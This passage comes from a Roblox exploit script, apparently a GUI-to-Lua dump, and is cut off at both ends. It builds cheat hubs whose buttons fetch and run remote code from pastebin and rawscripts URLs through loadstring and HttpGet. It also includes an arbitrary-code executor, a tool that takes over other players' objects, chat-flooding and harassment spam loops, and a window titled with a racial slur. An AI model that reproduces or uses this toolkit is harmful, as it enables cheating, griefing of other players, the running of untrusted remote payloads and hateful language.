line.Reflectance=.5 line.Name="Laser" line.Locked=true line.CanCollide=false line.Anchored=true line.formFactor=0 line.Size=_VTR_new(1,1,1) local mesh=_Ins("BlockMesh") mesh.Parent=line while true do if (check.Value==nil) then break end if (part1==nil or part2==nil or parent==nil) then break end if (part1.Parent==nil or part2.Parent==nil) then break end if (parent.Parent==nil) then break end local lv=_CF_new(part1.Position,part2.Position) local dist=(part1.Position-part2.Position).magnitude line.Parent=parent line.BrickColor=color.Value.BrickColor line.Reflectance=color.Value.Reflectance line.Transparency=color.Value.Transparency line.CFrame=_CF_new(part1.Position+lv.lookVector*dist/2) line.CFrame=_CF_new(line.Position,part2.Position) mesh.Scale=_VTR_new(.25,.25,dist) w() end line:remove() script:remove() end)) changed="SimulationRadius" Script2.Disabled=true LocalScript3.Name="MainScript" LocalScript3.Parent=Tool0 table.insert(cors,sandbox(LocalScript3,function() w() tool=script.Parent lineconnect=tool.LineConnect object=nil mousedown=false found=false BP=_Ins("BodyPosition") BP.maxForce=_VTR_new(math.huge*math.huge,math.huge*math.huge,math.huge*math.huge) --pwns everyone elses bodyposition BP.P=BP.P*3 dist=nil point=_Ins("Part") point.Locked=true point.Anchored=true point.formFactor=0 point.Shape=0 point.BrickColor=BrickColor.Blue() point.Size=_VTR_new(1,1,1) point.CanCollide=false local mesh=_Ins("SpecialMesh") mesh.MeshType="Sphere" mesh.Scale=_VTR_new(.7,.7,.7) mesh.Parent=point handle=tool.Handle front=tool.Handle color=tool.Handle objval=nil local hooked=false local hookBP=BP:clone() hookBP.maxForce=_VTR_new(30000,30000,30000) local LineConnect=function(part1,part2,parent) local p1=_Ins("ObjectValue") p1.Value=part1 p1.Name="Part1" local p2=_Ins("ObjectValue") p2.Value=part2 p2.Name="Part2" local par=_Ins("ObjectValue") par.Value=parent par.Name="Par" local col=_Ins("ObjectValue") col.Value=color col.Name="Color" local s=lineconnect:clone() s.Disabled=false p1.Parent=s p2.Parent=s par.Parent=s col.Parent=s s.Parent=workspace if (part2==object) then objval=p2 end end local onButton1Down=function(mouse) if (mousedown==true) then return end mousedown=true coroutine.resume(coroutine.create(function() local p=point:clone() p.Parent=tool LineConnect(front,p,workspace) while (mousedown==true) do p.Parent=tool if (object==nil) then if (mouse.Target==nil) then local lv=_CF_new(front.Position,mouse.Hit.p) p.CFrame=_CF_new(front.Position+(lv.lookVector*1000)) else p.CFrame=_CF_new(mouse.Hit.p) end else LineConnect(front,object,workspace) break end w() end p:remove() end)) while (mousedown==true) do if (mouse.Target~=nil) then local t=mouse.Target if (t.Anchored==false) then object=t selectionbox.Adornee=object dist=(object.Position-front.Position).magnitude break end end w() end while (mousedown==true) do if (object.Parent==nil) then break end local lv=_CF_new(front.Position,mouse.Hit.p) BP.Parent=object BP.position=front.Position+lv.lookVector*dist w() end BP:remove() object=nil objval.Value=nil selectionbox.Adornee=nil end local onKeyDown=function(key,mouse) local key=key:lower() local yesh=false if (key=="q") then if (dist>=5) then dist=dist-5 end end if (key=="u") then if (dist ~=1) then BX=_Ins("BodyGyro") BX.MaxTorque=_VTR_new(math.huge,0,math.huge) BX.CFrame=BX.CFrame * CFrame.Angles(0, math.rad(45), 0) BX.D=0 BX.Parent=object --object.CFrame=CFrame.Angles(math.rad(90), 0,0) -- not used --object.Orientation=_VTR_new(50,0,0) --BX.Orientation=_VTR_new(23,0,0) end end if (key=="p") then if (dist ~=1) then BX=_Ins("BodyVelocity") BX.maxForce=_VTR_new(0,math.huge,0) BX.velocity=_VTR_new(0,1,0) --BX.CFrame=BX.CFrame * CFrame.Angles(0, math.rad(45), 0) BX.Parent=object end end if key == "l" then if (object==nil) then return end for _,v in pairs(object:children()) do if v.className == "BodyGyro" then return nil end end BG=_Ins("BodyGyro") BG.maxTorque=_VTR_new(math.huge,math.huge,math.huge) BG.cframe=_CF_new(object.CFrame.p) BG.Parent=object repeat w() until(object.CFrame == _CF_new(object.CFrame.p)) BG.Parent=nil if (object==nil) then return end for _,v in pairs(object:children()) do if v.className == "BodyGyro" then v.Parent=nil end end object.Velocity=_VTR_new(0,0,0) object.RotVelocity=_VTR_new(0,0,0) end if (key=="y") then if (dist ~=100) then dist=100 end end if (key=="j") then if (dist~=5000) then dist=5000 end end if (key=="e") then dist=dist+5 end if (key=="x") then if dist ~= 15 then dist=15 end end end local onEquipped=function(mouse) keymouse=mouse local char=tool.Parent human=char.Humanoid human.Changed:connect(function() if (human.Health==0) then mousedown=false BP:remove() point:remove() tool:remove() end end) mouse.Button1Down:connect(function() onButton1Down(mouse) end) mouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end) mouse.Icon="rbxasset://textures\\GunCursor.png" if mb then uis.TouchLongPress:Connect(function() onKeyDown("y",mouse) end) uis.TouchEnded:Connect(function() mousedown=false end) else mouse.Button1Up:connect(function() mousedown=false end) end end tool.Equipped:connect(onEquipped) tool.Unequipped:connect(function() mousedown=false end) end)) for i,v in pairs(mas:GetChildren()) do v.Parent=game:GetService("Players").LocalPlayer.Backpack pcall(function() v:MakeJoints() end) end mas:Destroy() for i,v in pairs(cors) do spawn(function() pcall(v) end) end end) end; task.spawn(C_1a); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_1c() local script = G2L["1c"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame4.Visible = true script.Parent.Parent.Parent.Frame3.Visible = false script.Parent.Parent.Parent.Frame4.Position = script.Parent.Parent.Parent.Frame3.Position end) end; task.spawn(C_1c); -- StarterGui.ScreenGui.Frame2.DraggableFrame local function C_1e() local script = G2L["1e"]; local frame = script.Parent local UserInputService = game:GetService("UserInputService") local dragging = false local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart frame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end frame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) frame.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if dragging and input == dragInput then update(input) end end) end; task.spawn(C_1e); -- StarterGui.ScreenGui.Frame2.TextButton.LocalScript local function C_20() local script = G2L["20"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame2:Destroy() end) end; task.spawn(C_20); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_25() local script = G2L["25"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local UIS = game:GetService("UserInputService") local RunService = game:GetService("RunService") local TouchEnabled = UIS.TouchEnabled local screenGui = Instance.new("ScreenGui") screenGui.Name = "c00lkiddGUI_V1" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 500, 0, 350) mainFrame.Position = UDim2.new(0.5, -250, 0.5, -175) mainFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) mainFrame.BorderSizePixel = 0 mainFrame.AnchorPoint = Vector2.new(0.5, 0.5) mainFrame.ClipsDescendants = true mainFrame.Parent = screenGui local uiCorner = Instance.new("UICorner") uiCorner.CornerRadius = UDim.new(0, 10) uiCorner.Parent = mainFrame local titleLabel = Instance.new("TextLabel") titleLabel.Size = UDim2.new(0, 200, 0, 30) titleLabel.Position = UDim2.new(0, 10, 0, 10) titleLabel.BackgroundTransparency = 1 titleLabel.TextColor3 = Color3.fromRGB(255, 50, 50) titleLabel.TextScaled = true titleLabel.Font = Enum.Font.GothamBold titleLabel.Text = "c00lkiddGUI V1" titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Parent = mainFrame local dragging = false local dragInput, dragStart, startPos local function update(input) local delta = input.Position - dragStart mainFrame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end mainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or (TouchEnabled and input.UserInputType == Enum.UserInputType.Touch) then dragging = true dragStart = input.Position startPos = mainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) mainFrame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or (TouchEnabled and input.UserInputType == Enum.UserInputType.Touch) then dragInput = input end end) UIS.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) local tabNames = {"Hub","Executor","Credits","Logs"} local tabs = {} local buttonWidth = 120 for i, name in ipairs(tabNames) do local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, buttonWidth, 0, 30) btn.Position = UDim2.new(0, 10 + (i-1)*(buttonWidth + 5), 0, 50) btn.BackgroundColor3 = Color3.fromRGB(150, 0, 0) btn.TextColor3 = Color3.fromRGB(255, 255, 255) btn.Font = Enum.Font.GothamBold btn.Text = name btn.Parent = mainFrame tabs[name] = Instance.new("Frame") tabs[name].Size = UDim2.new(1, -20, 1, -90) tabs[name].Position = UDim2.new(0, 10, 0, 90) tabs[name].BackgroundColor3 = Color3.fromRGB(15,15,15) tabs[name].Visible = false tabs[name].Parent = mainFrame local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0,10) corner.Parent = tabs[name] btn.MouseButton1Click:Connect(function() for _, f in pairs(tabs) do f.Visible = false end tabs[name].Visible = true end) end local hub = tabs["Hub"] local hubScroll = Instance.new("ScrollingFrame") hubScroll.Size = UDim2.new(1, -10, 1, -10) hubScroll.Position = UDim2.new(0, 5, 0, 5) hubScroll.BackgroundTransparency = 1 hubScroll.ScrollBarThickness = 8 hubScroll.CanvasSize = UDim2.new(0,0,0,0) hubScroll.Parent = hub local hubLayout = Instance.new("UIListLayout") hubLayout.Padding = UDim.new(0, 10) hubLayout.SortOrder = Enum.SortOrder.LayoutOrder hubLayout.Parent = hubScroll local hubScripts = { {"c00lkidd utg", "https://pastebin.com/raw/iwMzX8XG"}, {"Goner", "https://rawscripts.net/raw/Universal-Script-Goner-47954"}, {"UTG client replication", "https://rawscripts.net/raw/Client-Replication-UTG-for-client-replication-38612"}, {"Xester V1", "https://rawscripts.net/raw/Prison-Life-Xester-18937"}, {"Skybox + decal [Working]", "https://pastebin.com/raw/nDR4H6nx"}, {"Caducus Require", "https://pastebin.com/raw/XJeBNe0s"} } for _, v in ipairs(hubScripts) do local button = Instance.new("TextButton") button.Size = UDim2.new(0.95,0,0,30) button.BackgroundColor3 = Color3.fromRGB(50,0,0) button.TextColor3 = Color3.fromRGB(255,255,255) button.Font = Enum.Font.GothamBold button.Text = v[1] button.Parent = hubScroll button.MouseButton1Click:Connect(function() local success, err = pcall(function() loadstring(game:HttpGet(v[2]))() end) if not success then warn(err) end end) end local extraButton = Instance.new("TextButton") extraButton.Size = UDim2.new(0.95,0,0,30) extraButton.BackgroundColor3 = Color3.fromRGB(50,0,0) extraButton.TextColor3 = Color3.fromRGB(255,255,255) extraButton.Font = Enum.Font.GothamBold extraButton.Text = "Skybox + decal [Not working]" extraButton.Parent = hubScroll extraButton.MouseButton1Click:Connect(function() local success, err = pcall(function() loadstring(game:HttpGet("https://pastebin.com/raw/C0olSkyDecal"))() end) if not success then warn(err) end end) hubLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function() hubScroll.CanvasSize = UDim2.new(0,0,0,hubLayout.AbsoluteContentSize.Y + 10) end) local executor = tabs["Executor"] local codeBox = Instance.new("TextBox") codeBox.Size = UDim2.new(0.9,0,0.6,0) codeBox.Position = UDim2.new(0.05,0,0.05,0) codeBox.BackgroundColor3 = Color3.fromRGB(30,30,30) codeBox.TextColor3 = Color3.fromRGB(255,255,255) codeBox.ClearTextOnFocus = false codeBox.TextWrapped = true codeBox.MultiLine = true codeBox.PlaceholderText = "Paste your Lua code or loadstring here" codeBox.Parent = executor local execButton = Instance.new("TextButton") execButton.Size = UDim2.new(0.27,0,0.1,0) execButton.Position = UDim2.new(0.05,0,0.7,0) execButton.BackgroundColor3 = Color3.fromRGB(200,0,0) execButton.TextColor3 = Color3.fromRGB(255,255,255) execButton.Text = "Execute" execButton.Parent = executor execButton.MouseButton1Click:Connect(function() local code = codeBox.Text local success, err = pcall(function() loadstring(code)() end) if not success then warn(err) end end) local clearButton = Instance.new("TextButton") clearButton.Size = UDim2.new(0.27,0,0.1,0) clearButton.Position = UDim2.new(0.37,0,0.7,0) clearButton.BackgroundColor3 = Color3.fromRGB(200,0,0) clearButton.TextColor3 = Color3.fromRGB(255,255,255) clearButton.Text = "Clear" clearButton.Parent = executor clearButton.MouseButton1Click:Connect(function() codeBox.Text = "" end) local ssButton = Instance.new("TextButton") ssButton.Size = UDim2.new(0.27,0,0.1,0) ssButton.Position = UDim2.new(0.69,0,0.7,0) ssButton.BackgroundColor3 = Color3.fromRGB(200,0,0) ssButton.TextColor3 = Color3.fromRGB(255,255,255) ssButton.Text = "SS Execute" ssButton.Parent = executor ssButton.MouseButton1Click:Connect(function() local assetId = tonumber(codeBox.Text) if assetId then local success, gui = pcall(function() return game:GetService("InsertService"):LoadAsset(assetId) end) if success and gui then for _, obj in pairs(gui:GetChildren()) do if obj:IsA("ScreenGui") then obj.Parent = player:WaitForChild("PlayerGui") end end else warn("Failed to load asset GUI") end else warn("Invalid Asset ID") end end) local credits = tabs["Credits"] local creditsLabel = Instance.new("TextLabel") creditsLabel.Size = UDim2.new(0.9,0,0.2,0) creditsLabel.Position = UDim2.new(0.05,0,0.4,0) creditsLabel.BackgroundTransparency = 1 creditsLabel.TextColor3 = Color3.fromRGB(255,50,50) creditsLabel.TextScaled = true creditsLabel.Font = Enum.Font.GothamBold creditsLabel.Text = "GUI by c00lkiddiskingnow!!!" creditsLabel.TextWrapped = true creditsLabel.Parent = credits local logs = tabs["Logs"] local logBox = Instance.new("ScrollingFrame") logBox.Size = UDim2.new(0.95,0,0.9,0) logBox.Position = UDim2.new(0.025,0,0.05,0) logBox.BackgroundColor3 = Color3.fromRGB(30,30,30) logBox.CanvasSize = UDim2.new(0,0,2,0) logBox.ScrollBarThickness = 8 logBox.Parent = logs local uiList = Instance.new("UIListLayout") uiList.SortOrder = Enum.SortOrder.LayoutOrder uiList.Parent = logBox local function addLog(msg) local label = Instance.new("TextLabel") label.Size = UDim2.new(1,0,0,20) label.BackgroundTransparency = 1 label.TextColor3 = Color3.fromRGB(255,255,255) label.Font = Enum.Font.SourceSans label.TextSize = 16 label.TextXAlignment = Enum.TextXAlignment.Left label.Text = msg label.Parent = logBox logBox.CanvasSize = UDim2.new(0,0,0,uiList.AbsoluteContentSize.Y) end game.Players.PlayerAdded:Connect(function(p) addLog("Player joined: "..p.Name) end) game.Players.PlayerRemoving:Connect(function(p) addLog("Player left: "..p.Name) end) game:GetService("ReplicatedStorage").ChildAdded:Connect(function(c) addLog("ReplicatedStorage added: "..c.Name) end) player.Chatted:Connect(function(msg) addLog(player.Name..": "..msg) end) end) end; task.spawn(C_25); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_26() local script = G2L["26"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Text = "Executed" wait(1) script.Parent.Text = ogtext end) end; task.spawn(C_26); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_28() local script = G2L["28"]; script.Parent.MouseButton1Click:Connect(function() -- Modern Executer GUI Script -- This script creates a draggable GUI named "Modern Executer" compatible with Xeno Executor -- Create ScreenGui local screenGui = Instance.new("ScreenGui") screenGui.Name = "niggers executer" screenGui.ResetOnSpawn = false screenGui.Parent = game:GetService("CoreGui") -- CoreGui to ensure executor compatibility -- Create main frame local mainFrame = Instance.new("Frame") mainFrame.Name = "MainFrame" mainFrame.Size = UDim2.new(0, 400, 0, 250) mainFrame.Position = UDim2.new(0.5, -200, 0.5, -125) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- Create title bar local titleBar = Instance.new("Frame") titleBar.Name = "TitleBar" titleBar.Size = UDim2.new(1, 0, 0, 30) titleBar.BackgroundColor3 = Color3.fromRGB(45, 45, 45) titleBar.Parent = mainFrame -- Title text local titleLabel = Instance.new("TextLabel") titleLabel.Name = "TitleLabel" titleLabel.Size = UDim2.new(1, -10, 1, 0) titleLabel.Position = UDim2.new(0, 10, 0, 0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "Niggers Executer" titleLabel.TextColor3 = Color3.fromRGB(255, 255, 255) titleLabel.Font = Enum.Font.GothamBold titleLabel.TextSize = 18 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Parent = titleBar -- Close button local closeButton = Instance.new("TextButton") closeButton.Name = "CloseButton" closeButton.Size = UDim2.new(0, 30, 1, 0) closeButton.Position = UDim2.new(1, -30, 0, 0) closeButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50) closeButton.Text = "X" closeButton.TextColor3 = Color3.fromRGB(255, 255, 255) closeButton.Font = Enum.Font.GothamBold closeButton.TextSize = 18 closeButton.Parent = titleBar closeButton.MouseButton1Click:Connect(function() screenGui:Destroy() end) -- TextBox for script input local scriptBox = Instance.new("TextBox") scriptBox.Name = "ScriptBox" scriptBox.Size = UDim2.new(1, -20, 1, -70) scriptBox.Position = UDim2.new(0, 10, 0, 40) scriptBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40) scriptBox.TextColor3 = Color3.fromRGB(255, 255, 255) scriptBox.Font = Enum.Font.Code scriptBox.TextSize = 14 scriptBox.ClearTextOnFocus = false scriptBox.MultiLine = true scriptBox.TextWrapped = true scriptBox.Parent = mainFrame -- Execute button local executeButton = Instance.new("TextButton") executeButton.Name = "ExecuteButton" executeButton.Size = UDim2.new(0, 100, 0, 25) executeButton.Position = UDim2.new(1, -110, 1, -30) executeButton.BackgroundColor3 = Color3.fromRGB(70, 130, 180) executeButton.Text = "Execute" executeButton.TextColor3 = Color3.fromRGB(255, 255, 255) executeButton.Font = Enum.Font.GothamBold executeButton.TextSize = 16 executeButton.Parent = mainFrame -- Draggable functionality local UserInputService = game:GetService("UserInputService") local dragging local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end titleBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true dragStart = input.Position startPos = mainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) titleBar.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if dragging and input == dragInput then update(input) end end) -- Execute script with Xeno Executor compatibility executeButton.MouseButton1Click:Connect(function() local scriptText = scriptBox.Text if syn and syn.request then -- Synapse compatibility (Xeno is Synapse-based) local func, err = loadstring(scriptText) if func then coroutine.wrap(func)() else warn("Script error: "..err) end else -- Fallback for other environments local func, err = loadstring(scriptText) if func then coroutine.wrap(func)() else warn("Script error: "..err) end end end) end) end; task.spawn(C_28); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_29() local script = G2L["29"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Text = "Executed" wait(1) script.Parent.Text = ogtext end) end; task.spawn(C_29); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_2b() local script = G2L["2b"]; script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Gui to Lua -- Version: 3.2 -- Instances: local ScreenGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local Name = Instance.new("TextLabel") local Credits = Instance.new("TextLabel") local ball = Instance.new("TextButton") local noclip = Instance.new("TextButton") local fakelag = Instance.new("TextButton") local plane = Instance.new("TextButton") local destroychat = Instance.new("TextButton") local sit = Instance.new("TextButton") local fly = Instance.new("TextButton") local tp = Instance.new("TextButton") local message = Instance.new("TextButton") local floatingpad = Instance.new("TextButton") local r6 = Instance.new("TextButton") local c00lgui = Instance.new("TextButton") local rejoin = Instance.new("TextButton") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling Frame.Parent = ScreenGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215) Frame.Size = UDim2.new(0, 417, 0, 280) Name.Name = "Name" Name.Parent = Frame Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0) Name.Size = UDim2.new(0, 417, 0, 25) Name.Font = Enum.Font.GothamBold Name.Text = "1x1x1x1 Gui FE" Name.TextColor3 = Color3.fromRGB(0, 0, 0) Name.TextScaled = true Name.TextSize = 14.000 Name.TextWrapped = true Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0) Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0) Credits.Size = UDim2.new(0, 416, 0, 22) Credits.Font = Enum.Font.GothamBold Credits.Text = "By FishNoobAhh" Credits.TextColor3 = Color3.fromRGB(0, 0, 0) Credits.TextScaled = true Credits.TextSize = 14.000 Credits.TextWrapped = true ball.Name = "ball" ball.Parent = Frame ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0) ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0) ball.Size = UDim2.new(0, 79, 0, 31) ball.Font = Enum.Font.GothamBold ball.Text = "become ball" ball.TextColor3 = Color3.fromRGB(0, 0, 0) ball.TextScaled = true ball.TextSize = 14.000 ball.TextWrapped = true noclip.Name = "noclip" noclip.Parent = Frame noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0) noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0) noclip.Size = UDim2.new(0, 79, 0, 31) noclip.Font = Enum.Font.GothamBold noclip.Text = "noclip" noclip.TextColor3 = Color3.fromRGB(0, 0, 0) noclip.TextScaled = true noclip.TextSize = 14.000 noclip.TextWrapped = true fakelag.Name = "fakelag" fakelag.Parent = Frame fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0) fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0) fakelag.Size = UDim2.new(0, 79, 0, 34) fakelag.Font = Enum.Font.GothamBold fakelag.Text = "fe fake lag" fakelag.TextColor3 = Color3.fromRGB(0, 0, 0) fakelag.TextScaled = true fakelag.TextSize = 14.000 fakelag.TextWrapped = true fakelag.MouseButton1Down:Connect(function() while true do game.Players.LocalPlayer.Character.Torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.Jump = true wait(0.1) game.Players.LocalPlayer.Character.Torso.Anchored = false game.Players.LocalPlayer.Character.Humanoid.Sit = true wait(0.1) end end) plane.Name = "plane" plane.Parent = Frame plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0) plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0) plane.Size = UDim2.new(0, 83, 0, 31) plane.Font = Enum.Font.GothamBold plane.Text = "become a plane" plane.TextColor3 = Color3.fromRGB(0, 0, 0) plane.TextScaled = true plane.TextSize = 14.000 plane.TextWrapped = true destroychat.Name = "destroy chat" destroychat.Parent = Frame destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0) destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0) destroychat.Size = UDim2.new(0, 83, 0, 31) destroychat.Font = Enum.Font.GothamBold destroychat.Text = "destroy chat fe (op warning)" destroychat.TextColor3 = Color3.fromRGB(0, 0, 0) destroychat.TextScaled = true destroychat.TextSize = 14.000 destroychat.TextWrapped = true destroychat.MouseButton1Down:Connect(function() for i = 1, 4 do local args = { [1] = "\194\160\194\160", [2] = "All" } game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest"):FireServer(unpack(args)) end end) sit.Name = "sit" sit.Parent = Frame sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0) sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0) sit.Size = UDim2.new(0, 83, 0, 34) sit.Font = Enum.Font.GothamBold sit.Text = "sit" sit.TextColor3 = Color3.fromRGB(0, 0, 0) sit.TextScaled = true sit.TextSize = 14.000 sit.TextWrapped = true sit.MouseButton1Down:Connect(function() local human = kevyn.Parent:findFirstChild("Humanoid") if (human ~= nil)then human.Sit=true end end) fly.Name = "fly" fly.Parent = Frame fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0) fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0) fly.Size = UDim2.new(0, 89, 0, 31) fly.Font = Enum.Font.GothamBold fly.Text = "fly" fly.TextColor3 = Color3.fromRGB(0, 0, 0) fly.TextScaled = true fly.TextSize = 14.000 fly.TextWrapped = true tp.Name = "tp" tp.Parent = Frame tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0) tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0) tp.Size = UDim2.new(0, 89, 0, 31) tp.Font = Enum.Font.GothamBold tp.Text = "click to tp" tp.TextColor3 = Color3.fromRGB(0, 0, 0) tp.TextScaled = true tp.TextSize = 14.000 tp.TextWrapped = true message.Name = "message" message.Parent = Frame message.BackgroundColor3 = Color3.fromRGB(255, 0, 0) message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0) message.Size = UDim2.new(0, 89, 0, 34) message.Font = Enum.Font.GothamBold message.Text = "messages" message.TextColor3 = Color3.fromRGB(0, 0, 0) message.TextScaled = true message.TextSize = 14.000 message.TextWrapped = true message.MouseButton1Down:Connect(function() while true do wait(2) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL") wait(2) end end) floatingpad.Name = "floatingpad" floatingpad.Parent = Frame floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0) floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0) floatingpad.Size = UDim2.new(0, 79, 0, 34) floatingpad.Font = Enum.Font.GothamBold floatingpad.Text = "floating pad (requires r6)" floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0) floatingpad.TextScaled = true floatingpad.TextSize = 14.000 floatingpad.TextWrapped = true r6.Name = "r6" r6.Parent = Frame r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0) r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0) r6.Size = UDim2.new(0, 79, 0, 34) r6.Font = Enum.Font.GothamBold r6.Text = "r15 to r6" r6.TextColor3 = Color3.fromRGB(0, 0, 0) r6.TextScaled = true r6.TextSize = 14.000 r6.TextWrapped = true r6.MouseButton1Down:Connect(function() loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))() end) c00lgui.Name = "c00lgui" c00lgui.Parent = Frame c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0) c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0) c00lgui.Size = UDim2.new(0, 88, 0, 34) c00lgui.Font = Enum.Font.GothamBold c00lgui.Text = "fe c00lgui" c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0) c00lgui.TextScaled = true c00lgui.TextSize = 14.000 c00lgui.TextWrapped = true c00lgui.MouseButton1Down:Connect(function() loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)() end) rejoin.Name = "rejoin" rejoin.Parent = Frame rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0) rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0) rejoin.Size = UDim2.new(0, 79, 0, 34) rejoin.Font = Enum.Font.GothamBold rejoin.Text = "rejoin" rejoin.TextColor3 = Color3.fromRGB(0, 0, 0) rejoin.TextScaled = true rejoin.TextSize = 14.000 rejoin.TextWrapped = true rejoin.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local gamePlaceId = game.PlaceId local teleportService = game:GetService("TeleportService") teleportService:Teleport(gamePlaceId, player) end) -- Scripts: local function WVDQ_fake_script() -- ball.LocalScript local script = Instance.new('LocalScript', ball) script.Parent.MouseButton1Click:Connect(function() local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Camera = workspace.CurrentCamera local 